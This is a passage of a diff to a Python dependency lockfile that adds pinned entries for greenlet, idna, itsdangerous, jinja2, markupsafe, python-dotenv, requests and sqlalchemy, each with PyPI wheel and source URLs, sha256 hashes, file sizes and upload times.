"2026-06-26T19:10:09.503Z" }, + { url = "https://files.pythonhosted.org/packages/ce/aa/4e0dad5e605c270c784ab911c43da6adb136ccd4d81180f763ca429a723d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b9d501b40e80b70e32323c799dd9b420a5577a9601469d362ae1ffb690f3a7c", size = 663635, upload-time = "2026-06-26T18:32:20.802Z" }, + { url = "https://files.pythonhosted.org/packages/d1/50/13efdbea246fe3d3b735e191fec08fb50809f53cd2383ebe123d0809e44b/greenlet-3.5.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a1fad1d11e7d6aab184107baa8e4ece11ccba3ec9599cd7efa5ff4d70d43256a", size = 1621252, upload-time = "2026-06-26T19:09:05.647Z" }, + { url = "https://files.pythonhosted.org/packages/f7/22/c0a336ae4a1410fd5f5121098e5bfbf1865f64c5ef80b4b5412886c4a332/greenlet-3.5.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:fad5aec764399f1b5cc347ad250a59660f20c8f8888ea6bae1f93b769cce1154", size = 1684824, upload-time = "2026-06-26T18:31:47.738Z" }, + { url = "https://files.pythonhosted.org/packages/7a/94/91aec0030bea75c4b3244251d0de60a1f3432d1ecb53ab6c437fb5c3ba61/greenlet-3.5.3-cp314-cp314-win_amd64.whl", hash = "sha256:7669aa24cf2a1041d6f7899575b494a3ab4cf68bfcc8609b1dc0be7272db835e", size = 240754, upload-time = "2026-06-26T18:22:15.669Z" }, + { url = "https://files.pythonhosted.org/packages/e5/06/68d0983e79e02138f64b4d303c500c27ddb48e5e77f3debb80888a921eae/greenlet-3.5.3-cp314-cp314-win_arm64.whl", hash = "sha256:5b4807c4082c9d1b6d9eed56fcd041863e37f2228106eef24c30ca096e238605", size = 239549, upload-time = "2026-06-26T18:22:42.996Z" }, + { url = "https://files.pythonhosted.org/packages/91/95/3e161213d7f1d378d15aa9e792093e9bfe01844680d04b7fd6e0107c9098/greenlet-3.5.3-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:271a8ea7c1024e8a0d7dd2be66dd66dda8a07193f41a17b9e924f7600f5b62be", size = 296389, upload-time = "2026-06-26T18:22:20.657Z" }, + { url = "https://files.pythonhosted.org/packages/00/92/715c44721abe2b4d1ae9abde4179411868a5bff312479f54e105d372f131/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:19131729ae0ddc3c2e1ef85e650169b5e37ee32e400f215f78b94d7b0d567310", size = 653382, upload-time = "2026-06-26T19:07:14.209Z" }, + { url = "https://files.pythonhosted.org/packages/a0/83/37a10372a1090a6624cca8e74c12df1a36c2dc36429ed0255b7fb1aeee23/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1540dd8e5fc2a5aec40fbb98ef8e149fa47c89a4b4a1cf2575a14d3d1869d7a8", size = 659401, upload-time = "2026-06-26T19:10:10.876Z" }, + { url = "https://files.pythonhosted.org/packages/db/e2/d1509cad4207da559cc42986ecdd8fc67ad0d1bba2bf03023c467fd5e0f3/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e81fa194a1d20967877bdf9c7794db2bc99063e5be36aee710c08f04c5bb087f", size = 656969, upload-time = "2026-06-26T18:32:22.272Z" }, + { url = "https://files.pythonhosted.org/packages/86/7d/eaf70de20aadca3a5884aec58362861c64ce45e7b277f47ed026926a3b89/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55cf4d777485d43110e47133cbba6d74a8885a87ec1227ef0267f9ee80c5aa21", size = 1617822, upload-time = "2026-06-26T19:09:06.893Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f9/414d38fc400ae4350d4185eaad1827676f7cf5287b9136e0ed1cbbe20a7f/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:12a248ba75f6a9a236375f52296c498c89ff1d8badf32deb9eca7abd5853f7da", size = 1677983, upload-time = "2026-06-26T18:31:49.396Z" }, + { url = "https://files.pythonhosted.org/packages/e4/15/7edb977e08f9bff702fe42d6c902702786ff6b9694058b4e6a2a6ac90e57/greenlet-3.5.3-cp314-cp314t-win_amd64.whl", hash = "sha256:efc6bd60ea02e085862c74a3ef64b147ffc6f1a5ea7d9f26e7a939943f68c1e3", size = 243626, upload-time = "2026-06-26T18:24:41.485Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8a/93928dce91e6b3598b5e779e8d1fd6576a504640c58e78627077f6a7a91a/greenlet-3.5.3-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:ea03f2f04367845d6b58eeed276e1e56e51f0b97d8ad5a88a7d20a91dc9056cc", size = 288860, upload-time = "2026-06-26T18:22:48.07Z" }, + { url = "https://files.pythonhosted.org/packages/4f/ca/69db42d447a1378043e2c8f19c09cbbd1263371505053c496b49066d3d16/greenlet-3.5.3-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78dbef602fda6d97d957eb7937f70c9ce9e9527330347f8f6b6f9e554a9e7a47", size = 659747, upload-time = "2026-06-26T19:07:15.565Z" }, + { url = "https://files.pythonhosted.org/packages/a8/0b/af7ac2ef8dd41e3da1a40dda6305c23b9a03e13ba975ec916357b50f8575/greenlet-3.5.3-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f73857adb8fee13fa56c172bd11262f888c0c648f9fea113e777bb2c7904a81", size = 670419, upload-time = "2026-06-26T19:10:12.293Z" }, + { url = "https://files.pythonhosted.org/packages/51/1e/1d51640cacbfc455dbe9f9a9f594c49e4e244f63b9971a2f4764e46cc53d/greenlet-3.5.3-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:232fec92e823addaf02d9472cf7381e24a1d046a6ced1103c5caa4c21b9dfc1d", size = 668787, upload-time = "2026-06-26T18:32:24.298Z" }, + { url = "https://files.pythonhosted.org/packages/21/66/4030d5b0b5894500023f003bb054d9bb354dfbd1e186c3a296759172f5f5/greenlet-3.5.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:2421c3564da9429d5586d46ca31ebb26516b5498a802cf65c041a8e8a8980d34", size = 1626305, upload-time = "2026-06-26T19:09:08.281Z" }, + { url = "https://files.pythonhosted.org/packages/0e/50/5221371c7550108dfa3c378debc41d032aa9c78e89abb01d8011cfc93289/greenlet-3.5.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e0f0d160f0b2e558e6c75f7930967183255dc9735e5f5b8cae58ee09c9576d8b", size = 1688631, upload-time = "2026-06-26T18:31:51.278Z" }, + { url = "https://files.pythonhosted.org/packages/68/5d/00d469daae3c65d2bf620b10eee82eb022127d483c6bc8c69fae6f3fbf17/greenlet-3.5.3-cp315-cp315-win_amd64.whl", hash = "sha256:dd99329bbc15ca78dcc583dba05d0b1b0bae01ab6c2174989f5aaee3e41ac930", size = 241027, upload-time = "2026-06-26T18:22:38.203Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e8/883785b44c5780ed71e83d3e4437e710470be17a2e181e8b601e2da0dc4a/greenlet-3.5.3-cp315-cp315-win_arm64.whl", hash = "sha256:499fef2acede88c1864a57bb586b4bf533c81e1b82df7ab93451cdb47dfec227", size = 240085, upload-time = "2026-06-26T18:23:54.217Z" }, + { url = "https://files.pythonhosted.org/packages/1c/da/4f4a8450962fad137c1c8981a3f1b8919d06c829993d4d476f9c525d5173/greenlet-3.5.3-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:176bc16a721fa5fc294d70b87b4dfa5fbdd251b3da5d5372735ecef9bd7d6d0c", size = 297221, upload-time = "2026-06-26T18:23:27.176Z" }, + { url = "https://files.pythonhosted.org/packages/57/66/b3bfae3e220a9b63ea539a0eea681800c69ab1aada757eae8789f183e7ce/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:629b614d2b786e89c50440e246f33eea78f58a962d0bdbbcc809e6d13605903f", size = 657221, upload-time = "2026-06-26T19:07:16.973Z" }, + { url = "https://files.pythonhosted.org/packages/7b/81/b6d4d73a709684fc77e7fa034d7c2fe82cffa9fc920fadcaa659c2626213/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2b2e857ae16f5f72142edf75f9f176fe7526ba19a2841df1420516f83831c9f2", size = 663226, upload-time = "2026-06-26T19:10:13.723Z" }, + { url = "https://files.pythonhosted.org/packages/f5/07/e210b02b589f16e74ff48b730690e4a34ffe984219fce4f3c1a0e7ec8545/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e515757e2e36bcbf1fad09a46e1557e8b1ae1797d4b44d09da7deed88ad28608", size = 660802, upload-time = "2026-06-26T18:32:26.081Z" }, + { url = "https://files.pythonhosted.org/packages/eb/2e/5303eb3fa06bca089060f479707182a93e360683bc252acf846c3090d34e/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:b363d46ed1ea431825fdb01471bb024fc08399bad1572a616e853c7684415adb", size = 1622157, upload-time = "2026-06-26T19:09:09.527Z" }, + { url = "https://files.pythonhosted.org/packages/54/70/50de47a488f14df260b50ae34fb5d56016e308b098eab02c878b5223c26a/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:e44da2f5bbdaabaf7d80b73dbb430c7035771e9f244e3c8b769715c9d8fa0a16", size = 1681159, upload-time = "2026-06-26T18:31:52.986Z" }, + { url = "https://files.pythonhosted.org/packages/a7/13/1055e1dda7882073eda533e2b96c62e55bbd2db7fda6d5ece992febc7071/greenlet-3.5.3-cp315-cp315t-win_amd64.whl", hash = "sha256:8ff8bed3e3baa20a3ea261ce00526f1898ad4801d4886fd2220580ee0ad8fadf", size = 244007, upload-time = "2026-06-26T18:22:04.353Z" }, + { url = "https://files.pythonhosted.org/packages/b4/0d/ca7d15afbdc397e3401134c9e1800d51d12b829661786187a4ad08fe484f/greenlet-3.5.3-cp315-cp315t-win_arm64.whl", hash = "sha256:b7068bd09f761f3f5b4d214c2bed063186b2a86148c740b3873e3f56d79bac31", size = 242586, upload-time = "2026-06-26T18:23:37.93Z" }, +] + +[[package]] +name = "idna" +version = "3.18" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" }, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] + +[[package]] +name = "requests" +version = "2.34.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" }, +] + +[[package]] +name = "sqlalchemy" +version = "2.0.51" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "greenlet", marker = "platform_machine == 'AMD64' or platform_machine == 'WIN32' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'ppc64le' or platform_machine == 'win32' or platform_machine == 'x86_64'" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/02/f1/a7a892f18d4d224e6b26f706531eafccc41e37594d37d304786969ee13cb/sqlalchemy-2.0.51.tar.gz", hash = "sha256:804dccd8a4a6242c4e30ad961e540e18a588f6527202f2d6791b01845d59fdc9", size = 9912201, upload-time = "2026-06-15T15:41:20.012Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/49/a739be2e1d02a96a658eb71ab45d921c874249252358ad24a5bffdd02525/sqlalchemy-2.0.51-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6ea306caaae6bd5afd0a46050003c88f6bf33227377a49298c498c3cb88ff491", size = 2158999, upload-time = "2026-06-15T16:08:51.759Z" }, + { url = "https://files.pythonhosted.org/packages/23/6b/2e0e38cf75c8780eca78d9b2e78164f8bcfd70125e5caa588ff5cbb9c9f4/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c45a496d6bc05dec41dcd4c3a2b183723f47473255c159cd80b503c8f246424d", size = 3282539, upload-time = "2026-06-15T16:19:51.065Z" }, + { url = "https://files.pythonhosted.org/packages/dd/a1/e77854cb5336fd37dc3c6ae3b71de242c98caac5725120be0b526b31cbd0/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4004ada0aafe8ae1991b2cd1d99c6d9146126e123bd6f883c260d974aa012e54", size = 3287545, upload-time = "2026-06-15T16:26:44.735Z" }, + { url = "https://files.pythonhosted.org/packages/f6/ab/9e17272fd4dac8df3b83c4fbe52b998a1c9d89a843c8c35ff29b74ff7364/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:0f6bcad487aee1c638d707235682fc96f741de00663619881ab235400d03289e", size = 3230929, upload-time = "2026-06-15T16:19:52.625Z" }, + { url = "https://files.pythonhosted.org/packages/02/3c/52f408ea701781caee975606beccc48845f2aee8711ac29843d612c0306c/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:39a76529db6305693d8d4affa58ad5b5e2e18edd62daea628b29b97930b3513d", size = 3252888, upload-time = "2026-06-15T16:26:46.454Z" }, + { url = "https://files.pythonhosted.org/packages/24/16/3efd2ee6bc4ca4693a30a1dd17a91b606cae15d517d2a4746611d9b73ce8/sqlalchemy-2.0.51-cp314-cp314-win32.whl", hash = "sha256:08a204d8b5638717c26a24df18fcf40af45a6b22e35b70b1d62f0113c2e278e8", size = 2120551, upload-time = "2026-06-15T16:23:15.629Z" }, + { url = "https://files.pythonhosted.org/packages/7b/78/55b12e70f45bccc40d9e483925c065027b3b98ea4cbbdf6f8c2546feaf6c/sqlalchemy-2.0.51-cp314-cp314-win_amd64.whl", hash = "sha256:96747bfbadb055466e5b46d572618170046b45ce5a4879167f50d70a5319a499", size = 2146318, upload-time = "2026-06-15T16:23:17.108Z" }, + { url = "https://files.pythonhosted.org/packages/21/db/a9574ed40fed418924b1b1a3e54f47ee3963053b3d3d325a0d36b41f2c08/sqlalchemy-2.0.51-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5ea1a213be1fcd5e49d9904c3b9939211ded90bc2a64e93f4c01963474285de", size = 2178920, upload-time = "2026-06-15T15:59:56.285Z" }, + { url = "https://files.pythonhosted.org/packages/bf/90/a1bb5c7cbba76b7bc1fbd586d0a5479a7bc9c27b4a8298f22ec9423b2bb3/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7c6b36ed71f41942bdcd2ad2522be46bfce09d5705be5640ecf19bbc7660e4b7", size = 3566534, upload-time = "2026-06-15T15:58:35.024Z" }, + { url = "https://files.pythonhosted.org/packages/15/4b/481f1fed30e0e9e8dd24aecbb49f29eb57fe7657ece5cf06ee9b84bb97d8/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0c2c62877097e1a0db401fba5cb4debee33265e5b2a55c4ccb489c02c53b4f72", size = 3535844, upload-time = "2026-06-15T16:02:43.973Z" }, + { url = "https://files.pythonhosted.org/packages/02/71/0aa64aeda645510af0a43f7d9ee70932f0d1dc4263aed34c50ee891d9df3/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0378d055e9e8cd6ce4d8dff683bdd3d7d413533c4ee51d67a2b1e0f9eacc0f23", size = 3475355, upload-time = "2026-06-15T15:58:36.592Z" }, + { url = "https://files.pythonhosted.org/packages/05/db/6061db32316446135a3abae5f308d144ab988a34234726042da3e58b1c63/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6e46fc36029eff666391e0531e5387b62ce6c4f1d8e50b3fb3099eaca1b42522", size = 3486591, upload-time = "2026-06-15T16:02:45.346Z" }, + { url = "https://files.pythonhosted.org/packages/0d/c9/f14fdf71bb8957e0c7e39db69bbdf12b5c80f4ef775fdfa127bf4e0d6760/sqlalchemy-2.0.51-cp314-cp314t-win32.whl", hash = "sha256:9161cfc9efce70d1715f47d6ff40f79c6778c00d53be4fbc09d70301e4b83ba7", size = 2151313, upload-time = "2026-06-15T16:03:39.127Z" }, + { url = "https://files.pythonhosted.org/packages/6a/c6/673e618e6f4f297e126d9b56ea2f6478708f6c1af4e3223835c22e2c3697/sqlalchemy-2.0.51-cp314-cp314t-win_amd64.whl", hash = "sha256:159bb6ba32059f57ad7375a8f50d844dd2f19d14954ecf820cd33e20debd46b2", size = 2186280, upload-time = "2026-06-15T16:03:40.569Z" }, + { url = "https://files.pythonhosted.org/packages/e2/22/dbf013a12ec759e54a34a119e9e217435b3f71b2dd5c61a7ade0a25dae87/sqlalchemy-2.0.51-py3-none-any.whl", hash = "sha256:bb024d8b621d0be75f4f44ecc7c950450026e76d66dc8f791bb5331d7fed59d5", size = 1944334, upload-time = "2026-06-15T16:09:22.418Z" }, +] + 